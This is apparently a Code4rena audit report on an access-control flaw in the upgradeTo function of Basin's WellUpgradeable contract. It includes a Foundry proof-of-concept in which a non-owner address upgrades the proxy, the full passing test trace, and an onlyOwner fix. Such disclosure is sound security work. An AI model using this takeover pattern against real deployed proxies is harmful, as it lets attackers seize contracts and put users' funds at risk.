Unauthorised Upgrade Vulnerability in upgradeTo Function within WellUpgradeable contract

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/WellUpgradeable.sol#L93-L96

Vulnerability details

Impact

Detailed description of the impact of this finding. Title: Unauthorised Upgrade Vulnerability in upgradeTo Function

•   Severity: High
•   Impact: Allows unauthorised users to upgrade the contract implementation.
•   Status: Unresolved
•   File: WellUpgradeable.sol
•   Lines Affected: 93-96

The upgradeTo function in the WellUpgradeable contract is designed to allow the contract owner to upgrade the contract to a new implementation. However, a security issue exists where any unregistered user can call this function, potentially leading to unauthorised upgrades of the contract to a registered new implementation address.

Affected Code

The vulnerability is present in the following function within WellUpgradeable.sol:

function upgradeTo(address newImplementation) public override {
    _authorizeUpgrade(newImplementation);
    _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. • Access Control: The function is supposed to be protected so that only the contract owner or an authorised address can perform upgrades. However, the lack of access control checks allows any user to call the function.

This vulnerability allows an unauthorised user to upgrade the contract to a new implementation that has not been planned. This can lead to: • Reputation Damage: Users and investors may lose trust in the protocol due to security breaches.

Step 1 Create the following path and file: test/WellUpgradeableDebo.t.sol

Step 2 Add the following code in the foundry test.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {WellUpgradeable} from "src/WellUpgradeable.sol";
import {IERC20} from "test/TestHelper.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {MockPump} from "mocks/pumps/MockPump.sol";
import {Well, Call, IWellFunction, IPump, IERC20} from "src/Well.sol";
import {ConstantProduct2} from "src/functions/ConstantProduct2.sol";
import {Aquifer} from "src/Aquifer.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {LibWellUpgradeableConstructor} from "src/libraries/LibWellUpgradeableConstructor.sol";
import {MockToken} from "mocks/tokens/MockToken.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {ERC1967Proxy} from "oz/proxy/ERC1967/ERC1967Proxy.sol";
import {MockWellUpgradeable} from "mocks/wells/MockWellUpgradeable.sol";

contract WellUpgradeableDeboTest is Test, WellDeployer {
    address proxyAddress;
    address aquifer;
    address initialOwner;
    address user;
    address mockPumpAddress;
    address wellFunctionAddress;
    address token1Address;
    address token2Address;
    address wellAddress;
    address wellImplementation;
    address nonOwner = address(0xbEEF);

    function setUp() public {

         // Tokens
        IERC20[] memory tokens = new IERC20[](2);
        tokens[0] = new MockToken("BEAN", "BEAN", 6);
        tokens[1] = new MockToken("WETH", "WETH", 18);

        token1Address = address(tokens[0]);
        vm.label(token1Address, "token1");
        token2Address = address(tokens[1]);
        vm.label(token2Address, "token2");

        user = makeAddr("user");

        // Mint tokens
        MockToken(address(tokens[0])).mint(user, 10_000_000_000_000_000);
        MockToken(address(tokens[1])).mint(user, 10_000_000_000_000_000);
        // Well Function
        IWellFunction cp2 = new ConstantProduct2();
        vm.label(address(cp2), "CP2");
        wellFunctionAddress = address(cp2);
        Call memory wellFunction = Call(address(cp2), abi.encode("beanstalkFunction"));

        // Pump
        IPump mockPump = new MockPump();
        mockPumpAddress = address(mockPump);
        vm.label(mockPumpAddress, "mockPump");
        Call[] memory pumps = new Call[](1);
        // init new mock pump with "beanstalk" data
        pumps[0] = Call(address(mockPump), abi.encode("beanstalkPump"));
        aquifer = address(new Aquifer());
        vm.label(aquifer, "aquifer");
        wellImplementation = address(new WellUpgradeable());
        vm.label(wellImplementation, "wellImplementation");
        initialOwner = makeAddr("owner");

        // Well
        WellUpgradeable well =
            encodeAndBoreWellUpgradeable(aquifer, wellImplementation, tokens, wellFunction, pumps, bytes32(0));
        wellAddress = address(well);
        vm.label(wellAddress, "upgradeableWell");
        // Sum up of what is going on here
        // We encode and bore a well upgradeable from the aquifer
        // The well upgradeable additionally takes in an owner address so we modify the init function call
        // to include the owner address.
        // When the new well is deployed, all init data are stored in the implementation storage
        // including pump and well function data --> NOTE: This could be an issue but how do we solve this?
        // Then we deploy a ERC1967Proxy proxy for the well upgradeable and call the init function on the proxy
        // When we deploy the proxy, the init data is stored in the proxy storage and the well is initialized
        // for the second time. We can now control the well via delegate calls to the proxy address.

        // Every time we call the init function, we init the owner to be the msg.sender and
        // then immidiately transfer ownership
        // to an address of our choice (see WellUpgradeable.sol for more details on the init function)

        // FROM OZ
        // If _data is nonempty, it’s used as data in a delegate call to _logic.
        // This will typically be an encoded function call, and allows initializing
        // the storage of the proxy like a Solidity constructor.

        // Deploy Proxy
        vm.startPrank(initialOwner);
        ERC1967Proxy proxy = new ERC1967Proxy(
            address(well), // implementation address
            LibWellUpgradeableConstructor.encodeWellInitFunctionCall(tokens, wellFunction) // init data
        );
        vm.stopPrank();
        proxyAddress = address(proxy);
        vm.label(proxyAddress, "proxyAddress");

        vm.startPrank(user);
        tokens[0].approve(wellAddress, type(uint256).max);
        tokens[1].approve(wellAddress, type(uint256).max);
        tokens[0].approve(proxyAddress, type(uint256).max);
        tokens[1].approve(proxyAddress, type(uint256).max);
        vm.stopPrank();

    }

    function testUpgradeToNewDeboImplementation() public {
        IERC20[] memory tokens = new IERC20[](2);
        tokens[0] = new MockToken("BEAN", "BEAN", 6);
        tokens[1] = new MockToken("WETH", "WETH", 18);
        Call memory wellFunction = Call(wellFunctionAddress, abi.encode("2"));
        Call[] memory pumps = new Call[](1);
        pumps[0] = Call(mockPumpAddress, abi.encode("2"));
        // create new mock Well Implementation:
        address wellImpl = address(new MockWellUpgradeable());
        WellUpgradeable well2 =
            encodeAndBoreWellUpgradeable(aquifer, wellImpl, tokens, wellFunction, pumps, bytes32(abi.encode("2")));
        vm.label(address(well2), "upgradeableWell2");

        vm.startPrank(address(0xbEEF));
        WellUpgradeable proxy = WellUpgradeable(payable(proxyAddress));
        proxy.upgradeTo(address(well2));
        assertEq(initialOwner, MockWellUpgradeable(proxyAddress).owner());
        // verify proxy was upgraded.
        assertEq(address(well2), MockWellUpgradeable(proxyAddress).getImplementation());
        assertEq(1, MockWellUpgradeable(proxyAddress).getVersion());
        assertEq(100, MockWellUpgradeable(proxyAddress).getVersion(100));
        vm.stopPrank();
    }
}

Step 3 In terminal change directory (CD) into the root folder named: 2024-07-basin. Then run the following foundry test: forge test -vvvv --match-contract WellUpgradeableDeboTest --match-test testUpgradeToNewDeboImplementation --ffi NB: The Main Net RPC URL in env file has been setup.

Results The test is a pass with the following results.

forge test -vvvv --match-contract WellUpgradeableDeboTest --match-test testUpgradeToNewDeboImplementation  --ffi
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/WellUpgradeableDebo.t.sol:WellUpgradeableDeboTest
[PASS] testUpgradeToNewDeboImplementation() (gas: 7444960)
Traces:
  [7447760] WellUpgradeableDeboTest::testUpgradeToNewDeboImplementation()
    ├─ [1091831] → new <unknown>@0x1d1499e622D69689cdf9004d05Ec547d650Ff211
    │   └─ ← [Return] 5105 bytes of code
    ├─ [1091831] → new <unknown>@0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
    │   └─ ← [Return] 5105 bytes of code
    ├─ [4883315] → new <unknown>@0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   ├─ emit Initialized(version: 255)
    │   └─ ← [Return] 24270 bytes of code
    ├─ [218160] aquifer::boreWell(0x03A6a84cD762D9707A21605b548aaaB891562aAb, 0xc7183455a4c133ae270771860664b6b7ec320bb10000000000000000000000000000000000000000000000000000000000000002f62849f9a0b5bf2913b396098f7c7019b51a820a000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d1499e622d69689cdf9004d05ec547d650ff211000000000000000000000000a4ad4f68d0b91cfd19687c881e50f3a00242828c0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000132000000000000000000000000000000000000000000000000000000000000005991a2df15a8f6a256d3ec51e99254cd3fb576a90000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000, 0xa46b6179, 0x0000000000000000000000000000000000000000000000000000000000000020)
    │   ├─ [108918] → new upgradeableWell2@0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20
    │   │   └─ ← [Return] 544 bytes of code
    │   ├─ [24473] upgradeableWell2::initNoWellToken()
    │   │   ├─ [24197] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::initNoWellToken() [delegatecall]
    │   │   │   ├─ emit Initialized(version: 1)
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Return] 
    │   ├─ [746] upgradeableWell2::isInitialized() [staticcall]
    │   │   ├─ [467] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::isInitialized() [delegatecall]
    │   │   │   └─ ← [Return] true
    │   │   └─ ← [Return] true
    │   ├─ [575] upgradeableWell2::aquifer() [staticcall]
    │   │   ├─ [296] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::aquifer() [delegatecall]
    │   │   │   └─ ← [Return] aquifer: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]
    │   │   └─ ← [Return] aquifer: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]
    │   ├─ [1327] upgradeableWell2::tokens() [staticcall]
    │   │   ├─ [1039] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::tokens() [delegatecall]
    │   │   │   └─ ← [Return] [0x1d1499e622D69689cdf9004d05Ec547d650Ff211, 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]
    │   │   └─ ← [Return] [0x1d1499e622D69689cdf9004d05Ec547d650Ff211, 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]
    │   ├─ [1933] upgradeableWell2::wellFunction() [staticcall]
    │   │   ├─ [1636] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::wellFunction() [delegatecall]
    │   │   │   └─ ← [Return] Call({ target: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, data: 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000 })
    │   │   └─ ← [Return] Call({ target: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, data: 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000 })
    │   ├─ [2988] upgradeableWell2::pumps() [staticcall]
    │   │   ├─ [2685] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::pumps() [delegatecall]
    │   │   │   └─ ← [Return] [Call({ target: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, data: 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000 })]
    │   │   └─ ← [Return] [Call({ target: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, data: 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000 })]
    │   ├─ [762] upgradeableWell2::wellData() [staticcall]
    │   │   ├─ [480] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::wellData() [delegatecall]
    │   │   │   └─ ← [Return] 0x
    │   │   └─ ← [Return] 0x
    │   ├─ emit BoreWell(well: upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20], implementation: 0x03A6a84cD762D9707A21605b548aaaB891562aAb, tokens: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211, 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], wellFunction: Call({ target: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, data: 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000 }), pumps: [Call({ target: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, data: 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000013200000000000000000000000000000000000000000000000000000000000000 })], wellData: 0x)
    │   └─ ← [Return] upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]
    ├─ [0] VM::label(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20], "upgradeableWell2")
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000bEEF)
    │   └─ ← [Return] 
    ├─ [23411] proxyAddress::upgradeTo(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20])
    │   ├─ [18528] upgradeableWell::upgradeTo(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]) [delegatecall]
    │   │   ├─ [15746] wellImplementation::upgradeTo(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]) [delegatecall]
    │   │   │   ├─ [2518] aquifer::wellImplementation(upgradeableWell: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c]) [staticcall]
    │   │   │   │   └─ ← [Return] wellImplementation: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]
    │   │   │   ├─ [518] aquifer::wellImplementation(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]) [staticcall]
    │   │   │   │   └─ ← [Return] 0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   │   │   ├─ [1720] upgradeableWell2::proxiableUUID() [staticcall]
    │   │   │   │   ├─ [1441] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::proxiableUUID() [delegatecall]
    │   │   │   │   │   ├─ [518] aquifer::wellImplementation(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] 0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   │   │   │   │   └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    │   │   │   │   └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    │   │   │   ├─ [1720] upgradeableWell2::proxiableUUID() [staticcall]
    │   │   │   │   ├─ [1441] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::proxiableUUID() [delegatecall]
    │   │   │   │   │   ├─ [518] aquifer::wellImplementation(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] 0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   │   │   │   │   └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    │   │   │   │   └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    │   │   │   ├─ emit Upgraded(implementation: upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20])
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Return] 
    │   └─ ← [Return] 
    ├─ [3050] proxyAddress::owner() [staticcall]
    │   ├─ [2667] upgradeableWell2::owner() [delegatecall]
    │   │   ├─ [2388] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::owner() [delegatecall]
    │   │   │   └─ ← [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    │   │   └─ ← [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    │   └─ ← [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    ├─ [0] VM::assertEq(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]) [staticcall]
    │   └─ ← [Return] 
    ├─ [1121] proxyAddress::getImplementation() [staticcall]
    │   ├─ [738] upgradeableWell2::getImplementation() [delegatecall]
    │   │   ├─ [459] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::getImplementation() [delegatecall]
    │   │   │   └─ ← [Return] upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]
    │   │   └─ ← [Return] upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]
    │   └─ ← [Return] upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]
    ├─ [0] VM::assertEq(upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20], upgradeableWell2: [0x043b32E23c1F6Fc37f84e6c1e96332a399c96D20]) [staticcall]
    │   └─ ← [Return] 
    ├─ [967] proxyAddress::getVersion() [staticcall]
    │   ├─ [584] upgradeableWell2::getVersion() [delegatecall]
    │   │   ├─ [305] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::getVersion() [delegatecall]
    │   │   │   └─ ← [Return] 1
    │   │   └─ ← [Return] 1
    │   └─ ← [Return] 1
    ├─ [0] VM::assertEq(1, 1) [staticcall]
    │   └─ ← [Return] 
    ├─ [1007] proxyAddress::getVersion(100) [staticcall]
    │   ├─ [621] upgradeableWell2::getVersion(100) [delegatecall]
    │   │   ├─ [336] 0x03A6a84cD762D9707A21605b548aaaB891562aAb::getVersion(100) [delegatecall]
    │   │   │   └─ ← [Return] 100
    │   │   └─ ← [Return] 100
    │   └─ ← [Return] 100
    ├─ [0] VM::assertEq(100, 100) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.14ms (534.63µs CPU time)

Ran 1 test suite in 594.13ms (2.14ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review & foundry test.

Recommended Mitigation Steps

Implement Access Control

To fix this issue, implement access control in the upgradeTo function to ensure that only the contract owner can call it. Use the onlyOwner modifier from OpenZeppelin’s Ownable contract to restrict access:

function upgradeTo(address newImplementation) public override onlyOwner {
    _authorizeUpgrade(newImplementation);
    _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}

This vulnerability highlights the importance of implementing proper access control for critical functions such as contract upgrades. By fixing this issue, the security and reliability of the WellUpgradeable contract will be significantly improved.

Assessed type

Access Control

[c4-judge]

alex-ppg marked the issue as satisfactory